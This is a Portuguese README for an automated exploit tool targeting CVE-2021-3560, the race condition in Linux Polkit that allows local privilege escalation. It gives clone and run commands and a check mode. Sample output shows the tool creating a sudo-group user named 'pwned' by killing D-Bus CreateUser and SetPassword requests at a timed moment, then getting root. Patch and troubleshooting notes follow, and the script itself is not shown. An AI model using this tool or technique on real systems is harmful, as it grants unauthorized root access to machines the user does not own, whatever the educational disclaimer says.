
Exploit for CVE-2021-3560 Polkit Local Privilege Escalation Vulnerability
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Um exploit automatizado para a vulnerabilidade CVE-2021-3560 que afeta o PolicyKit (Polkit) em sistemas Linux.
⚠️ AVISO: Esta ferramenta é destinada apenas para fins educacionais e de treinamento em cibersegurança em um ambiente de laboratório controlado. O uso não autorizado deste exploit em sistemas que você não possui é ilegal.
CVE-2021-3560 é uma vulnerabilidade local de condição de corrida no PolicyKit (polkit) que permite a um usuário sem privilégios obter acesso root em sistemas Linux vulneráveis.
A vulnerabilidade afeta dois ramos do Polkit com numerações de versão diferentes:
bfa5036 (versão 0.113)f81d021 (versão 0.105-26)📝 Nota: Sistemas com patches de segurança aplicados (ex.: ubuntu1.1, deb10u1) não são vulneráveis.
O exploit requer as seguintes ferramentas (verificadas automaticamente):
- dbus-send # Para comunicar com o D-Bus
- pkexec # Parte do PolicyKit
- id # Para verificar criação de usuário
- openssl # Para gerar hash de senha
- accountsservice # Deve estar instalado e ativo
# Clone o repositório (ou baixe o arquivo)
git clone https://github.com/[seu-repositorio]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Torne o script executável
chmod +x CVE-2021-3560_Polkit.py
Verifique se o sistema é vulnerável sem executar o exploit:
python3 CVE-2021-3560_Polkit.py --check
Exemplo de saída:
[*] ============================================================
[*] Verificador de Vulnerabilidade CVE-2021-3560 Polkit
[*] ============================================================
[*] Detectando sistema operacional...
[+] SO: Ubuntu 20.04
[*] Verificando dependências necessárias...
[+] Encontrado: dbus-send
[+] Encontrado: pkexec
[+] Encontrado: id
[+] Encontrado: openssl
[*] Detectando versão do Polkit...
[+] Versão do Polkit: 0.105-26ubuntu1
[+] ============================================================
[+] O SISTEMA PARECE VULNERÁVEL!
[+] ============================================================
[*] Fork Debian/Ubuntu detectado (vulnerável desde 0.105-26)
Criar um usuário privilegiado:
python3 CVE-2021-3560_Polkit.py -u <nome_usuario> -p <senha>
Exemplo:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
uso: CVE-2021-3560_Polkit.py [-h] [-u USUARIO] [-p SENHA] [-c]
opções:
-h, --help Mostrar ajuda
-u, --username Nome do usuário a criar
-p, --password Senha para o novo usuário
-c, --check Verificar vulnerabilidade sem explorar
O exploit explora uma condição de corrida no PolicyKit durante o processamento de requisições D-Bus.
┌─────────────────────────────────────────────────────────┐
│ 1. Medição do tempo ideal │
│ └─> Execução de teste para calibrar o tempo │
├─────────────────────────────────────────────────────────┤
│ 2. Exploração: Criação de usuário │
│ └─> Enviar requisição D-Bus CreateUser │
│ └─> Matar o processo no momento exato (condição de corrida) │
│ └─> Verificar se o usuário foi criado │
├─────────────────────────────────────────────────────────┤
│ 3. Geração do hash da senha │
│ └─> Usando openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploração: Definição da senha │
│ └─> Enviar requisição D-Bus SetPassword │
│ └─> Matar o processo no momento exato (condição de corrida) │
│ └─> Testar login com senha │
├─────────────────────────────────────────────────────────┤
│ 5. Escalação de privilégio │
│ └─> Logar com a conta criada │
│ └─> Usar sudo se membro do grupo sudo │
└─────────────────────────────────────────────────────────┘
# 1. Verificar vulnerabilidade
usuario@vulneravel:~$ python3 CVE-2021-3560_Polkit.py --check
[+] O SISTEMA PARECE VULNERÁVEL!
# 2. Executar exploit
usuario@vulneravel:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Escalação de Privilégio Polkit ║
╚═══════════════════════════════════════════════════════════╝
[*] Criando usuário 'pwned' usando ataque de condição de corrida...
[*] Medindo tempo de execução do comando...
[*] O comando leva aproximadamente ~0.045s, usando temporização de 0.023s
[*] Tentando exploit de condição de corrida, aguarde...
[+] Usuário 'pwned' criado com sucesso! UID: 1001
[*] Usuário é membro dos grupos: 1001(pwned) 27(sudo)
[*] Gerando hash da senha...
[+] Hash da senha gerado
[*] Definindo senha para o usuário 'pwned'...
[+] Senha definida com sucesso!
╔═══════════════════════════════════════════════════════════╗
║ EXPLOIT BEM-SUCEDIDO! ║
╚═══════════════════════════════════════════════════════════╝
[+] Usuário 'pwned' criado com senha 'Pwn3d123!'
[*] O usuário deve ser membro do grupo 'sudo' para escalação de privilégio
[*] Trocando para usuário 'pwned'...
# 3. Obter root
pwned@vulneravel:~$ sudo su
root@vulneravel:~# id
uid=0(root) gid=0(root) grupos=0(root)
Atualizar o PolicyKit:
# Debian/Ubuntu
sudo apt update && sudo apt upgrade policykit-1
# RHEL/CentOS/Fedora
sudo yum update polkit
# ou
sudo dnf update polkit
Verificar versão:
pkexec --version
# Deve ser >= 0.119 (upstream) ou corrigida
Verificar patches de segurança:
# Debian/Ubuntu
apt-cache policy policykit-1
# RHEL/CentOS/Fedora
rpm -q --changelog polkit | grep CVE-2021-3560
O exploit depende de uma condição de corrida, o que significa que:
As seguintes versões incluem patches de segurança e NÃO são vulneráveis:
0.105-26ubuntu1.1, 0.105-26ubuntu1.2, 0.105-26ubuntu1.3, etc. (Ubuntu corrigido)0.105-26ubuntu2.1, 0.105-26ubuntu2.2, etc. (Ubuntu corrigido)0.105-31+deb11u1 (Debian 11 corrigido)polkit-0.115-11.el8_4.1 (RHEL 8 corrigido)Nota: Se o seu sistema aparecer como vulnerável mas o exploit falhar com erros PermissionDenied, é provável que a versão esteja corrigida. O exploit agora detectará corretamente essas versões corrigidas.
Se o exploit falhar:
Verifique a versão do Python (se obtiver TypeError: __init__() got an unexpected keyword argument 'capture_output'):
python3 --version
# Deve ser 3.6 ou superior
# O script é compatível com Python 3.6+
Verifique se a versão está corrigida:
pkexec --version
# Se aparecer ubuntu1.X (onde X > 0), está corrigido
Verifique o accountsservice:
systemctl status accounts-daemon
Verifique o D-Bus:
dbus-send --system --dest=org.freedesktop.DBus --type=method_call --print-reply /org/freedesktop/DBus org.freedesktop.DBus.ListNames
Execute via SSH em vez do console local
Ajuste a temporização modificando optimal_timing no código
Seimu
Este projeto é destinado apenas para fins educacionais. O uso deste código para atividades não autorizadas é estritamente proibido e pode resultar em ações legais.
⚠️ Aviso Legal: O autor não se responsabiliza pelo uso indevido desta ferramenta. Use-a apenas em ambientes de teste autorizados.
| Distribuição | Versão do Polkit | Vulnerável? |
|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Sim |
| Ubuntu 18.04 | 0.105-20 | ❌ Não |
| Debian testing "bullseye" | 0.105-31+ | ✅ Sim |
| Debian 10 "buster" | 0.105-25 | ❌ Não |
| RHEL 8 | 0.115-11+ | ✅ Sim |
| RHEL 7 | < 0.113 | ❌ Não |
| Fedora 21+ | 0.113+ | ✅ Sim |
| Fedora 20 e anteriores | < 0.113 | ❌ Não |